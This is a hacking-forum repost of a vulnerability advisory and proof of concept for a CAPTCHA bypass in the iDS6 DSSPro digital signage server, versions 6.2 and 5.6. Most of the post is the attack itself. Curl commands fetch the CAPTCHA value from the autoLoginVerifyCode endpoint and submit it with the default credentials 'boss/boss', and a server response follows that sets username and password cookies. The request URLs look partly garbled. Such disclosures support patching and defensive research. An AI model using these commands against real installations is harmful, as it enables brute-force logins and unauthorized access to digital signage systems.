Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

iDS6 DSSPro Digital Signage System 6.2 - CAPTCHA Security Bypass


Recommended Posts

# Exploit Title: iDS6 DSSPro Digital Signage System 6.2 - CAPTCHA Security Bypass
# Date: 2020-07-16
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.yerootech.com
# Version: 6.2

iDS6 DSSPro Digital Signage System 6.2 CAPTCHA Security Bypass

Vendor: Guangzhou Yeroo Tech Co., Ltd.
Product web page: http://www.yerootech.com
Affected version: V6.2 B2014.12.12.1220
                  V5.6 B2017.07.12.1757

Summary: iDS6 Software's DSSPro network digital signage management
system is a web-based server software solution for Windows.

Desc: The CAPTCHA function for DSSPro is prone to a security bypass
vulnerability that occurs in the CAPTCHA authentication routine. By
requesting the autoLoginVerifyCode object an attacker can receive a
JSON message code and successfully bypass the CAPTCHA-based authentication
challenge and perform brute-force attacks.

Tested on: Microsoft Windows XP
           Microsoft Windows 7
           Microsfot Windows Server 2008
           Microsoft Windows Server 2012
           Microsoft Windows 10
           Apache Tomcat/8.0.44
           Apache Tomcat/6.0.35
           Apache Axis/1.4
           MySQL 5.5.25
           Java 1.8.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2020-5607
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5607.php



Get CAPTCHA code:

$ curl -i\!autoLoginVerifyCode -c cookies.txt


Use CAPTCHA code:

$ curl -i\!userValidate -b cookies.txt -d "shortName=&user.userName=boss&user.password=boss&loginVerifyCode=6435&autoSave=true&autoLogin=true&domain_login=" -v

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: cookie.username=boss; Expires=Wed, 21-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.password=boss; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.autosave=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.autologin=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/x-json;charset=UTF-8
Date: Tue, 21 Jul 2020 19:41:26 GMT
Connection: close
Content-Length: 16

Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...